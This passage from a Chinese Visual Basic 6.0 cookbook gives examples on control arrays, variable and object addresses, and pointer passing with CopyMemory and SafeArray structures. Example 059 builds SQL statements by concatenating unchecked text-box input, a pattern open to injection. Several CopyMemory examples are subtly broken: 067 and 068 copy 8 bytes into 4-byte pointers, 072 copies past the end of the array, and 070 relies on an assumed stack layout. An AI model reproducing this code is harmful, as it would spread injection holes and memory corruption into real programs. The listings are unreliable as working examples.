趣味指数：[image: ]




实例说明

本实例实现了动态添加和删除控件的功能。控件数组在创建后，可以在程序执行时使用代码对控件数组中的元素进行添加。这样可以增加程序的灵活性。运行程序，选择所要添加的控件，在所要添加控件的位置单击鼠标左键，即可实现使用控件数组添加控件。添加控件后的效果如图3.20所示。

[image: ]
图3.20　使用控件数组动态添加控件



关键技术

本实例主要是通过使用GetCursorPos函数获得鼠标的单击位置动态添加控件。

Windows应用程序接口（即API）是Windows提供的重要功能之一。它和Windows一起被安装到计算机中，在Visual Basic的应用程序中，可以像调用普通的过程一样调用API函数，进而实现需要的功能。本程序中用到了GetCursorPos函数，在使用该函数前要先声明，语法如下：



Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long




参数说明

lpPoint：POINTAPI，随同指针在屏幕像素坐标中的位置载入的一个结构。

该函数的返回值是一个Long型，非0表示成功，0表示失败。

这里调用了POINTAPI函数，类型定义如下：



Private Type POINTAPI
  X As Long
  Y As Long
End Type





说明：
 POINTAPI结构对应于Windows的POINT结构，在Visual Basic 6.0中定义为POINTAPI，从而避免与Visual Basic 6.0的Point关键字冲突，用于描述一个位置（即屏幕点），与RECT结构相同，x和y字段的单位取决于准备使用的对象与API函数。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“向窗体中动态添加控件”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Shape控件；添加5个Label控件，用于作为提示信息。

（4）在窗体上添加一个CommandButton控件、一个TextBox控件和一个Label控件作为模板控件。

（5）程序的运行代码如下：



Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
  Dim mouse As POINTAPI
GetCursorPos mouse
Text2.Text = Val(mouse.X) * 15 - Me.Left - 50
Text3.Text = Val(mouse.Y) * 15 - Me.Top - 300
If Text2.Text > 1000 Then
If Text4.Text = 1 Then
If Button = 1 Then '添加CommandButton 控件
i = Command1.ubound + 1
Load Command1(i)
Command1(i).Left = Text2.Text
Command1(i).Top = Text3.Text
Command1(i).Caption = Str(i)
Command1(i).Visible = True
End If
End If
If Text4.Text = 2 Then
If Button = 1 Then '添加Text控件
i = Text1.ubound + 1
Load Text1(i)
Text1(i).Left = Text2.Text
Text1(i).Top = Text3.Text
Text1(i).Visible = True
End If
End If
If Text4.Text = 3 Then
If Button = 1 Then '添加Label控件
i = Label1.ubound + 1
Load Label1(i)
Label1(i).Left = Text2.Text
Label1(i).Top = Text3.Text
Label1(i).Caption = Str(i)
Label1(i).Visible = True
End If
End If
End If
End Sub




秘笈心法

心法领悟058：巧用常量定义数组。

数组声明后，如果要对数组进行改动，不仅要重新声明数组长度，而且还要对for语句等进行修改。对程序改动越大，就越可能产生错误。如果利用常量声明数组，就可以克服以上问题，使程序更易于维护。在定义数组时，不但可以将常量作为数组的下标，也可以将常量使用在下标出现的地方。对数组进行改动时，只需修改常量即可。如下面代码：



Private Const general = 5
Private Sub Command4_Click()
Dim myarray(general - 1) As Integer
For i = 0 To general - 1
    myarray(i) = Int(Rnd * 90) + 5
    Print myarray(i)
Next i
End Sub






 实例059　利用控件数组录入数据

光盘位置：光盘\MR\03\059

中级

趣味指数：[image: ]




实例说明

本实例实现了利用控件数组录入数据的功能。当要将多个文本框控件中的数据录入数据库时，可以采用将文本框定义为数组的形式，这样通过循环可以将数据录入到数据库，简化代码书写，程序的运行效果如图3.21所示。

[image: ]
图3.21　利用控件数组录入数据



关键技术

本实例主要是通过创建控件数组，然后通过获取数组下标值确定当鼠标划过该控件时改变该控件的字体颜色。创建控件数组常使用如下两种方法。

1．复制粘贴法

通过复制粘贴控件，创建控件数组。具体步骤如下：

（1）在窗体上添加一个要创建控件数组的控件。

（2）选中该控件，单击鼠标右键，在弹出的快捷菜单中选择“复制”命令。

（3）使用鼠标选中窗体，单击鼠标右键，在弹出的快捷菜单中选择“粘贴”命令。此时会弹出提示对话框。单击“是”按钮后，则在窗体上添加了一个新的控件数组元素。

（4）重复执行步骤（3），直到添加完所需要的控件数组元素为止。


注意：
 要在容器类型控件内创建控件数组，需要选中容器控件（如Frame（框架）控件等）执行“粘贴”命令。

2．设置控件Name属性

控件的Name属性用在代码中用来标识控件的名字。通过将同类型控件Name属性设置为相同名称，也可以创建控件数组。创建的步骤如下：

（1）向窗体或容器控件中添加两个或多个同类型控件。

（2）逐一选中添加上的每个控件，在属性窗口中设置这些控件的Name属性名称一致，即可完成创建控件数组的过程。在第一次出现Name属性同名时，也会出现提示对话框。单击“是”按钮即可创建控件数组。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用控件数组录入数据”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个ToolBar控件，用于执行各个功能的按钮命令；添加一个Label控件数组，用于显示提示信息；添加一个TextBox控件数组，用于录入和显示信息。

（4）在窗体上添加一个DataGrid控件，用于显示数据信息。

（5）程序的运行代码如下：



        If Txt1(0).Text = "" Then
            MsgBox "系统不允许" & Label1 & "为空！", , "提示窗口"
            Exit Sub
        End If
        Dim sqlstr As String
        If blnAdd = True Then    '添加新记录
            For i = 0 To Txt1.UBound
                sqlstr = sqlstr & "'" & Txt1(i).Text & "',"
            Next i
            sqlstr = Left(sqlstr, Len(sqlstr) - 1)
            cnn.Execute "insert into tb_Client_qyxx(qyxx_id,qyxx_qymc,qyxx_qyjb,qyxx_zscd, _
                qyxx_qygml,qyxx_bz) values(" & sqlstr & ")"
            Adodc1.Refresh    
            Set Dgr_Qyxx.DataSource = Adodc1
            Call Dgr_Title
            tlbState Toolbar1, False
            For i = 1 To Txt1.UBound
                Txt1(i).Locked = True
            Next i
        Else    '修改原有记录
            cnn.Execute ("update tb_Client_qyxx set qyxx_qymc ='" + Txt1(1) + _
               "',qyxx_qyjb ='" + Txt1(2) + "',qyxx_zscd='" + Txt1(3) + "',qyxx_qygml='" + Txt1(4) + _
               "' ,qyxx_bz='" + Txt1(5) + "' where qyxx_id='" + Txt1(0).Text + "'")
            Adodc1.Refresh
            Set Dgr_Qyxx.DataSource = Adodc1
            Call Dgr_Title
            Dgr_Qyxx.Bookmark = mybookmark
            tlbState Toolbar1, False
            For i = 1 To Txt1.UBound
                Txt1(i).Locked = True
            Next i
        End If
        Exit Sub




秘笈心法

心法领悟059：初始化一维数组。

Array函数可以创建一个数组，并将这个数组初始化（赋值）操作，代码如下：



Dim A As Variant
A = Array(45, 2, 6, 7)                'A中包含4个数组元素，各元素的值为：45，2，6，7




也可以通过“=”赋值来初始化数组，例如，将Integer型的数组A初始化为10、20、30、40、50，代码如下：



Dim A(4) As Integer
A(0) =10
A(1) =20
A(2) =30
A(3) =40
A(4) =50






 实例060　利用控件数组设置控件状态

光盘位置：光盘\MR\03\060

中级

趣味指数：[image: ]




实例说明

本实例实现了利用控件数组设置控件状态的功能。有些程序的主界面，鼠标移到按钮上时按钮会变色，移开后恢复原色。下面是利用Lable控件数组模拟按钮移动变色的代码，程序的运行效果如图3.22所示。

[image: ]
图3.22　利用控件数组设置控件状态



关键技术

控件数组在创建后，可以在程序执行时使用代码对控件数组中的元素进行添加。这样可以增加程序的灵活性。也可以手动地用“复制”、“粘贴”方法创建动态数组。


说明：
 创建控件数组的具体方法请参见实例059中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用控件数组设置控件状态”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件数组，Caption属性均设置为“明日科技”，并设置Font属性。

（4）程序的运行代码如下：



Private Sub Label1_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim mouseover As Boolean
    mouseover = (0 <= X) And (X <= Label1(Index).Width)
    If mouseover Then
        For i = 0 To Label1.Count - 1
            Label1(i).ForeColor = &H0&
        Next i
        Label1(Index).ForeColor = &HFF&
    End If
End Sub




如果不用控件数组，要对每一个Lable控件的MouseMove事件编程，且每个MouseMove事件中的代码会　 更多。

秘笈心法

心法领悟060：控件数组小知识。

控件数组是一组相同类型的控件，使用相同名称，并共享同一过程的集合。这个控件集合中的每一个控件，都可以称为该控件数组中的数组元素。

在创建控件数组时，系统会给这个控件数组中每一个控件唯一的索引（Index），即下标。这个索引是用来区分控件数组中不同的控件。



 实例061　如何声明控件变量数组

光盘位置：光盘\MR\03\061

高级

趣味指数：[image: ]




实例说明

本实例实现了动态拖动TextBox控件到ListBox控件上的功能。运行程序，单击TextBox控件不放，拖动到ListBox控件上，就会　　 将TextBox控件名称显示在ListBox控件项目中，程序的运行效果如图3.23所示。

[image: ]
图3.23　如何声明控件变量数值



关键技术

与声明任何其他类型数组的方法相同，可以使用Private、Dim、ReDim、Static或Public声明控件数组。然而与窗体数组不同，控件数组不能使用New关键字声明。例如，可以声明数组为特定的控件类型，语法如下：



ReDim ActiveImages(10) As Image




当声明数组为特定控件类型时，只能将该类型的控件赋给数组。例如，在前面的声明中，只能将图像控件赋给该数组，但是这些图像控件可以来自不同的窗体。

如果将其与内置Controls集合进行比较，内置Controls集合包含的不同类型的控件必须在同一窗体中。另外，可以声明类属控件变量数组。例如，若要跟踪拖放到某一特定控件中的每个控件，而且不允许任何控件被拖放多次。通过对控件变量的动态数组的管理可以做到这一点，只要让该动态数组包含每个被拖放控件的引用即可。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何声明控件变量数组”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“拖动TextBox控件到ListBox控件上”，并设置Font属性。

（4）在窗体上添加一个ListBox控件和4个TextBox控件。

（5）程序的运行代码如下：



Private Sub List1_DragDrop(Source As VB.Control, _
      X As Single, Y As Single)
    Dim intX As Integer
    Static intSize As Integer
    Static ctlDropped() As Control
    For intX = 1 To intSize
        '如果数组中有被拖放的控件，则它已经被拖放到这儿一次
        If ctlDropped(intX) Is Source Then
             Beep
             Exit Sub
        End If
    Next
    '扩展数组
    intSize = intSize + 1
    ReDim Preserve ctlDropped(intSize)
    '保存被拖放控件的引用
    Set ctlDropped(intSize) = Source
    '给列表框添加控件名
    List1.AddItem Source.Name
End Sub




秘笈心法

心法领悟061：利用 Option Base语句设置数组边界。

Option Base语句用来指定声明数组时下标下界省略时的默认值。该语句是在模块中使用的语句。一个模块中只能出现一次，该语句必须写在模块的所有过程之前，而且必须位于带维数的数组声明之前。只对该语句所在模块中的数组下界有影响。

语法如下：



Option Base [0 | 1]




[0 | 1]：设置数组下标中下界省略时的默认值。一般情况下数组的下标下界省略时的默认值为0。

例如，在声明数组之前使用该语句将下标中默认值设置为1后，声明数组A，代码如下：



Option Base 1
Dim A(4) As Long




数组A中的元素分别为：A（1），A（2），A（3），A（4）。


 3.4　指针地址获取



 实例062　如何获取对象实例私有域的地址

光盘位置：光盘\MR\03\062

中级

趣味指数：[image: ]




实例说明

本实例实现的功能是获取对象实例私有域的地址。运行程序，在文本框中将会输出文本框Text1对象实例的私有域的地址，程序的运行效果如图3.24所示。

[image: ]
图3.24　获取对象实例私有域的地址



关键技术

本实例主要是通过使用ObjPtr函数来实现的。利用ObjPtr函数可以获取对象实例私有域的地址，语法如下：



ObjPtr(实例名称)




ObjPtr返回一个object变量的地址。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获取对象实例私有域的地址”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示获取的对象实例私有域地址。

（4）程序的运行代码如下：



Private Sub Form_Load()
    Text1.Text = ObjPtr(Text1)
End Sub




秘笈心法

心法领悟062：如何访问数组元素。

数组中的每一个值称为数组元素，要访问一个数组元素，应指明数组名及所要访问元素的下标（序号），代码如下：



Dim A As Variant
A = Array(45, 2, 6, 7)                  'A中包含4个数组元素，各元素的值为：45，2，6，7
Msgbox(A(3))                            '值为7
Msgbox(A(0))                            '值为45






 实例063　获取字符串第一个字的地址

光盘位置：光盘\MR\03\063

中级

趣味指数：[image: ]




实例说明

本实例实现的功能是获取字符串中第一个字的地址。运行程序，在字符串文本框一栏中输入字符串信息，就会在字符串地址一栏中显示字符串中第一个字的地址，程序的运行效果如图3.25所示。

[image: ]
图3.25　获取字符串第一个字的地址



关键技术

本实例主要是通过使用StrPtr函数来实现的。利用StrPtr函数可以获取字符串第一个字符的地址，语法如下：



StrPtr (字符串)




StrPtr返回一个字符串中第一个字符的地址。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取字符串第一个字的地址”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性设置为“字符串”和“地址”；添加两个TextBox控件，用于输入字符串和输出字符串的首地址。

（4）程序的运行代码如下：



Private Sub Form_Load()
    Text2.Text = StrPtr(Text1)
End Sub




秘笈心法

心法领悟063：计算数组的元素个数。

UBound函数可以返回指定数组中的指定维数可用的最大下标，而LBound函数可以返回指定数组中的指定维数可用的最小下标。用最大下标减去最小下标即可得到该数组的数组元素个数，代码如下：



Dim A(1 To 100) As Long
Debug.Print UBound(A) - LBound(A)






 实例064　获取变量的地址

光盘位置：光盘\MR\03\064

高级

趣味指数：[image: ]




实例说明

本实例实现的功能是获取变量的地址。运行程序，在文本框中将会显示变量num的地址，程序的运行效果如图3.26所示。

[image: ]
图3.26　获取变量的地址



关键技术

本实例主要是通过使用VarPtr函数来实现的。利用VarPtr函数用来取得一个变量或一个数组的地址，传递一个变量名或者数组然后返回地址，语法如下：



VarPtr (变量)




VarPtr返回一个变量的地址。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取变量的地址”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“变量num地址”；添加一个TextBox控件，用于输出显示变量的地址。

（4）程序的运行代码如下：



Private Sub Form_Load()
    Dim num As Integer
    Text1.Text = VarPtr(num)
End Sub




秘笈心法

心法领悟064：VarPtr函数小知识。

VarPtr这个函数用来取得一个变量或一个数组的地址，传递一个变量名或者数组然后返回地址。但是，读者要明白动态数组可能会被VB重新分配内存，因此必须小心当读者用VarPtr取得数组地址的时候。



 实例065　获取数组的地址

光盘位置：光盘\MR\03\065

高级

趣味指数：[image: ]




实例说明

本实例实现了获取数组地址的功能。首先在程序中定义了一个数组变量，运行程序，单击“数组地址”按钮，将会在文本框中显示数组的地址，程序的运行效果如图3.27所示。

[image: ]
图3.27　获取数组的地址



关键技术

声明API函数ArrayPtr，调用msvbvm60.dll中的函数VarPtr，并将函数ArrayPtr中的参数类型设置为Any。API函数ArrayPtr声明语法如下：



Private Declare Function ArrayPtr Lib "msvbvm60.dll" Alias "VarPtr" (ByRef ary() As Any) As Long




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取数组的地址”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“数组地址”；添加一个TextBox控件，用于输出显示数组的地址。

（4）程序的运行代码如下：



Private Declare Function ArrayPtr Lib "msvbvm60.dll" Alias "VarPtr" (ByRef ary() As Any) As Long    '声明ArrayPtr函数
    Private Sub Command1_Click()
    Dim i(10) As Integer        '声明数组
    Text1.Text = ArrayPtr(i)    '显示数组地址
End Sub




秘笈心法

心法领悟065：利用二维数组向MSFlexGrid表格添加数据。

在开发数据库管理程序时，有时需要将一些数据添加到MSFlexGrid表格控件，利用二维数组可以轻松将数据添加到MSFlexGrid表格。下面是实现的关键代码：



Dim i, j As Integer
For j = 1 To 9
    For i = 1 To 9
        MSHFlexGrid1.TextMatrix(i, j) = myarray(i, j)
    Next i
Next j






 实例066　获取自定义过程地址

光盘位置：光盘\MR\03\066

中级

趣味指数：[image: ]




实例说明

本实例实现的功能是获取自定义过程的地址。运行程序，程序的运行效果如图3.28所示。

关键技术

通过创建包装函数并使用AddressOf关键字即可获得该过程的地址。

[image: ]
图3.28　获取自定义过程地址



AddressOf关键字创建引用特定过程的过程委托实例是一个一元运算符，它将其后面的过程的地址传递给一个API过程，该API过程在参数表对应位置中需要一个函数指针，语法如下：



AddressOf procedurename




参数说明

procedurename：必选参数。指定要传递的地址是哪一个过程的地址。这个过程必须是发出调用命令的工程中的一个标准模块中的一个过程。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取自定义过程地址”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示获取的自定义过程地址。

（4）程序的运行代码如下。

模块代码如下：



Function FnPtrToLong(ByVal lngFnPtr As Long) As Long     '包装函数
    FnPtrToLong = lngFnPtr
End Function
Function aaa() As Long                                   '自定义过程
End Function




窗体代码如下：



Private Sub Form_Load()
    Text1.Text = FnPtrToLong(AddressOf aaa)        '利用包装函数返回自定义过程地址
End Sub




秘笈心法

心法领悟066：AddressOf关键字说明。

当一个过程的名称出现在一个参数列表中时，通常该过程已经被计算，并且该过程返回值的地址也会被传递。AddressOf允许该过程的地址被传递给动态链接库（DLL）中的一个Windows API函数，而不是传递该过程的返回值。API函数然后就可以使用这个地址来调用相应的Basic过程，这个过程就是我们所知道的回调。AddressOf运算符只出现在对API过程的调用中。

尽管可以使用AddressOf运算符在Basic过程之间传递过程指针，却不能通过这样的一个指针从Basic内部调用一个函数。这就是说，例如，一个使用Basic编写的类不能使用这样的一个指针来回调自己的控制器。当使用AddressOf运算符在Basic内的过程之间传递一个过程的指针时，被调用过程的参数类型必须定义为As Long。


 3.5　地址调用



 实例067　传递对象指针

光盘位置：光盘\MR\03\067

高级

趣味指数：[image: ]




实例说明

本实例主要实现了传递对象指针的功能，将对象Text1的指针传递给一个对象变量，通过该对象变量改变对象Text1的属性。运行程序，单击“传递指针”按钮，显示结果如图3.29所示。

[image: ]
图3.29 传递对象指针



关键技术

本实例主要使用了CopyMemory函数，该函数用于将一块内存的数据从一个位置复制到另一个位置，首先需要声明一个名为CopyMemory且别名为RtlMoveMemory的API过程，利用该API过程，实现对象指针传递的功能，语法如下：



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“传递对象指针”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示传递对象指针；添加一个CommandButton控件，Caption属性设置为“传递指针”。

（4）程序的运行代码如下：



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Sub Command1_Click()
On Error GoTo 1
    Dim p As Object
    duixiang p, Text1      '将Text1指针传递给对象变量p
    p.Text = "123456"      '通过对象变量p更改Text1的Text属性
1: End Sub
Private Function duixiang(ByRef obj1 As Object, ByRef obj2 As Object)
    CopyMemory obj1, ObjPtr(obj2), 8  '指针传递
End Function




秘笈心法

心法领悟067：如何声明窗体数组。

与声明其他任何类型数组的方法相同，可以使用Private、Dim、ReDim、Static或Public声明窗体数组。如果数组声明使用了New关键字，则当使用该数组的元素时，Visual Basic将自动为数组中每个元素创建一个新窗体实例。



Private Sub Command1_Click ()
    Dim intX As Integer
    Dim frmNew(1 To 5) As New Form1
    For intX = 1 To 5
        frmNew(intX).Show
        frmNew(intX).WindowState = vbMinimized
        '为了不让它们第一次以正常大小出现而创建最小化窗体，可改变上面两行的顺序
    Next
End Sub






 实例068　传递字符串指针

光盘位置：光盘\MR\03\068

高级

趣味指数：[image: ]




实例说明

本实例主要实现了传递字符串指针的功能，将某字符串的指针传递给一个字符串变量，通过该字符串变量来获取被传递指针的字符串的内容。运行程序，单击“传递指针”按钮，显示结果如图3.30所示。

[image: ]
图3.30　传递字符串指针



关键技术

本例主要使用了CopyMemory函数，有关CopyMemory函数的语法和功能请参见实例067中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“传递字符串指针”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示传递字符串指针；添加一个CommandButton控件，Caption属性设置为“传递指针”。

（4）程序的运行代码如下：



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Sub Command1_Click()
On Error GoTo 1
    Dim q As String
    Dim p As String
    q = "abcdef"
    zifuchuan p, q
    Text1.Text = p
1: End Sub
Private Function zifuchuan(ByRef str1 As String, ByRef str2 As String)
    CopyMemory str1, StrPtr(str2), 8
End Function




秘笈心法

心法领悟068：对象的清除。

每个对象都消耗内存和系统资源，当不再使用对象时需要及时释放这些资源，否则会影响程序运行效率甚至会造成操作系统死机。

（1）清除静态对象（窗体或控件）

使用Unload语句从内存中卸载窗体或控件。

（2）清除动态对象

用Nothing释放对象变量占用的资源，释放时使用Set语句将Nothing赋予对象变量。



 实例069　传递变量指针

光盘位置：光盘\MR\03\069

高级

趣味指数：[image: ]




实例说明

本实例主要实现了传递变量指针的功能，通过交换指针的方式交换变量的内容。运行程序，单击“交换位置”按钮，显示结果如图3.31所示。

[image: ]
图3.31 传递变量指针



关键技术

本例主要使用了CopyMemory函数，有关CopyMemory函数的语法和功能请参见实例067中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“传递变量指针”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入或显示变量；添加一个CommandButton控件，Caption属性设置为“交换位置”。

（4）程序的运行代码如下：



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Dim q As String
    Dim p As String
Private Sub Command1_Click()
On Error GoTo 1
    jiaohuan p, q
    Text1.Text = q
    Text2.Text = p
1: End Sub
Private Function jiaohuan(ByRef str1 As String, ByRef str2 As String)
    Dim p
    CopyMemory ByVal VarPtr(p), ByVal VarPtr(str2), 4
    CopyMemory ByVal VarPtr(str2), ByVal VarPtr(str1), 4
    CopyMemory ByVal VarPtr(str1), ByVal VarPtr(p), 4
End Function
Private Sub Form_Load()
    q = "abcdef"
    p = "123456"
    Text1.Text = q
    Text2.Text = p
End Sub




秘笈心法

心法领悟069：ByVal和ByRef的区别。

ByVal传递的是参数值，而ByRef传递的是参数的地址。在CopyMemory调用中不加ByVal就是使用VB默认的ByRef。ByVal和ByRef的区别如下。

使用ByRef：



Private Sub Form_Load()
    Dim i As Long
    CopyMemory ByVal VarPtr(i), 10000, 4        '将10000直接赋值给变量i
    Debug.Print i                               '显示结果为10000
End Sub




使用ByVal：



Private Sub Form_Load()
    Dim i As Long
    CopyMemory ByVal VarPtr(i), ByVal 10000, 4       '从内存地址为10000处取4位字节到变量i
    Debug.Print i                                    '显示结果为内存地址为10000的内容
End Sub






 实例070　利用地址偏移访问内存

光盘位置：光盘\MR\03\070

高级

趣味指数：[image: ]




实例说明

本实例主要实现了利用地址偏移访问内存的功能，程序的运行效果如图3.32所示。

[image: ]
图3.32　利用地址偏移访问内存



关键技术

本实例将介绍利用地址偏移访问内存的方法。如下面代码，通过对变量i的内存地址进行地址偏移实现变量j对变量i进行赋值的方法。因为变量i与变量j地址相邻，又因为Long型占用4个字节，所以变量j的地址=变量i的地址-4。将变量i的地址向左偏移4即可获得变量j的地址。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用地址偏移访问内存”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示信息。

（4）程序的运行代码如下：



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Sub Form_Load()
    Dim i As Long
    Dim j As Long
    i = 1234
    j = 4321
    CopyMemory ByVal VarPtr(i), ByVal VarPtr(i) - 4, 4    '对变量i赋值
    Text1.Text = i    '显示结果4321
End Sub




秘笈心法

心法领悟070：合理使用数据类型。

根据程序所要实现的功能和数据类型的保存空间或变量值范围选择合理的数据类型。


 3.6　指针综合应用



 实例071　利用安全数组借用内存的方法

光盘位置：光盘\MR\03\071

高级

趣味指数：[image: ]




实例说明

本实例实现了利用安全数组借用内存的方法的功能，程序的运行效果如图3.33所示。

[image: ]
图3.33　利用安全数组借用内存的方法



关键技术

通过创建的SafeArray结构（安全数组）并设置SafeArray结构中的pvData属性即访问任意内存位置。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用安全数组借用内存的方法”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Type SafeArray1d '一维数组的 SafeArray 定义
    cDims As Integer '维数
    fFeatures As Integer '标志
    cbElements As Long '单个元素的字节数
    clocks As Long '锁定计数
    pvData As Long '指向数组元素的指针
    cElements As Long '维定义，该维的元素个数
    Lbound As Long '该维下标
End Type
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ptr() As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Sub Command1_Click()
    Dim pBytesInLong() As Byte
    Dim SA1D As SafeArray1d
    Dim i As Long
    i = &HABCDDCBA
    With SA1D
    .cDims = 1
    .cbElements = 1
    .pvData = VarPtr(i) '设置安全数组指针
    .cElements = 4
    .Lbound = 0
End With
'使数组变量指向SafeArray1d结构
CopyMemory ByVal VarPtrArray(pBytesInLong), VarPtr(SA1D), 4
MsgBox pBytesInLong(3) '访问长整型变量的第4个字节
For j = 0 To 3 '把全部数组元素设为0
pBytesInLong(j) = 0
Next j
MsgBox i 'i也变成0
End Sub




秘笈心法

心法领悟071：如何处理溢出。

当出现溢出错误时，可以通过扩大变量值范围的方法解决溢出错误。可将变量类型定义为Long型或Double型，这样就可以防止出现溢出错误。



 实例072　利用指针实现数组的插入

光盘位置：光盘\MR\03\072

高级

趣味指数：



实例说明

本实例主要实现的功能是利用指针实现数组的插入。运行程序，将会弹出“插入位置”的输入框，在输入框中输入要插入数字的位置，单击“确定”按钮，如图3.34所示，然后将会弹出“插入数字”的输入框，在输入框中输入要插入的数字，单击“确定”按钮，如图3.35所示。
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	图3.34　插入位置输入框
	图3.35　插入数字输入框




进入系统的“利用指针实现数组的插入”窗体，将插入前和插入后的结果显示在文本框中，程序的运行效果如图3.36所示。

[image: ]
图3.36　利用指针实现数组的插入



关键技术

数组的插入是指将相同数据类型的元素插入到数组的指定位置。下面将介绍利用指针实现数组插入的方法。首先将数组的上标加1。然后利用指针将以选择的插入位置为起点，原数组上标单元位置为终点的地址范围内的数据传递给插入位置的下一位到数组新上标位置的地址范围内。最后给插入位置所对应的数组元素赋值。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用指针实现数组的插入”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“插入前”和“插入后”；添加两个TextBox控件，用于显示插入前和插入后的信息。

（4）程序的运行代码如下：



Private Declare Function CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) As Boolean
Private Sub Form_Load()
On Error GoTo 1
    Dim arr()
    arr = Array(1, 2, 3, 3, 4, 7, 8, 4, 9)
    Text2.Text = ""
    For j = 0 To UBound(arr)
        Text2.Text = Text2.Text & arr(j)
    Next j
    ReDim Preserve arr(UBound(arr) + 1)                    '重新设置数组arr上标
    Debug.Print UBound(arr)
    Dim i As Integer
    i = InputBox("请输入要插入的位置", "插入")    
    CopyMemory arr(i + 1), arr(i), (UBound(arr) - i + 2) * 16        '变体变量占用16个字节
    arr(i) = InputBox("要插入的数字", "插入")
    Text1.Text = ""
    For j = 0 To UBound(arr)
        Text1.Text = Text1.Text & arr(j)
    Next j
1: End Sub




秘笈心法

心法领悟072：如何处理溢出Visual Basic字节数组和字符串的相互转换。

利用For循环语句配合Mid函数将字符串中的每一位放置在相应的数组元素中。再利用For循环语句将数组的每个元素中的字节组合为字符串。如下面的例子所示：



Dim i() As String
Private Sub Command1_Click()  '将字符串转换为数组
ReDim i(Len(Text1) - 1)
For j = 0 To Len(Text1) - 1
i(j) = Mid(Text1, j + 1, 1)
Next j
End Sub
Private Sub Command2_Click()  '将数组转换为字符串
Text2.Text = ""
For j = 0 To UBound(i)
Text2.Text = Text2 & i(j)
Next j
End Sub






 实例073　利用指针实现数组的拆分

光盘位置：光盘\MR\03\073

高级

趣味指数：[image: ]




实例说明

本实例主要实现了利用指针实现数组的拆分功能。将拆分前后的数组值全部写在代码中，运行程序，将拆分前后的数组显示在文本框中，程序的运行效果如图3.37所示。

[image: ]
图3.37　利用指针实现数组的拆分



关键技术

数组的拆分是指将某一数组拆分成为类型相同的两组数组。下面将介绍利用指针实现数组拆分的方法。首先选择以数组A的某一单元位置为起点，数组A上标元素位置为终点的地址范围内的数据传递给以数组B的下标位置为起点到数组B上标位置为终点的地址范围内。然后重新设置数组A的上标。例如，本例将数组arr拆分为下标为0上标为3的数组和下标为0上标为4的数组。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用指针实现数组的拆分”，StartUpPosition属性设置为“2-屏幕中心”。

